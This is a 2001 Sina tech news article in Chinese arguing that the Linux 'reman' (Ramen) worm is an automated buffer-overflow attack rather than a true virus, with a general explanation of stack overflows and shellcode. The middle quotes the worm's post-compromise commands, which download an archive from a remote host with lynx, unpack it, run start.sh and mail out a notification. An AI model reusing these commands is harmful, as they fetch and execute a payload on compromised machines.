sina.com.cn
新浪首页|免费邮件|用户注册|网站地图

科技时代

新浪首页 > 科技时代 > 软件 > 操作系统 > 正文
软件分类教程

● 系统工具
● 网络工具
● 常用工具
● 多媒体类
● 图像处理
● 文字编辑
● 休闲娱乐
● 办公软件
● 编程语言
● 操作系统
● 其它软件
● 软件评测
● 主页制作
● 观点评论




第一个Linux病毒reman并非病毒

http://tech.sina.com.cn 2001/04/03  软件世界 

  前一段时间一些媒体报告:“世界上第一个Linux病毒——reman已经出现”。这引起了我们极大的兴趣,想一睹reman的庐山真面目。但是,当我们得到该病毒的有关资料和样本之后发现,严格地说,reman并不能被称为病毒。实际上这是一个古老的,在UNIX/Linux世界早已存在的“缓冲区溢出”攻击程序。几乎所有UNIX/Linux版本中都或多或少地存在这样的问题。第一次此种类型的攻击(morris worm),到现在已经十多年了,并不是等到现在才“出现”的。事实上针对windows 98/NT的缓冲区溢出攻击也是很常见的。

  缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元,会引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数反回地址也会被覆盖从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址),在这样的情况下系统一般报告:“core dump”或“segment fault”。严重的是:如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是:“/bin/sh”,所以这段代码被称为:“shell code”。通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出是一个suid root程序,得到的将是一个root shell。这样机器的控制权已经易手,此后发生的任何事情都是合理的。

  下面我们回到reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上其他服务器。对于Red Hat 6.2来讲,如果攻击成功,它会做以下工作:

  mkdir /usr/src/.poop;cd /usr/src/.poop

  export TERM=vt100

  lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz

  cp ramen.tgz /tmp

  gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh

  echo Eat Your Ramen! | mail -s TOADDR -c gb31337@hotmail.com gb31337@yahoo.com

  很明显,reman只是一个自动化了的缓冲区溢出程序,而且是很普通的一种。目前缓冲区溢出攻击是非常普遍的一种攻击,黑客网站对各类系统的漏洞的发布几乎每日更新。但是这种攻击方式并不是不可避免,目前已有很多对付该类攻击的方案。



 相关文章
能同时在Windows和Linux中传播的病毒被发现 (2001/03/28 10:40)
一种破坏性极大的Linux病毒问世 (2001/03/26 14:51)
“狮子”是中国黑客编写的Linux病毒? (2001/03/26 11:37)
病毒专家称‘狮子’蠕虫扫荡Linux系统 (2001/03/24 15:33)
台湾发现全球首个Linux病毒 (2001/02/04 21:17)
Linux操作系统再遭蠕虫病毒侵袭 (2001/01/18 19:02)



网站简介 | 用户注册 | 广告服务 | 招聘信息 | 中文阅读 | Richwin | 联系方式 | 帮助信息 | 网站律师

Copyright © 1996 - 2001 SINA.com, Stone Rich Sight. All Rights Reserved

版权所有 四通利方 新浪网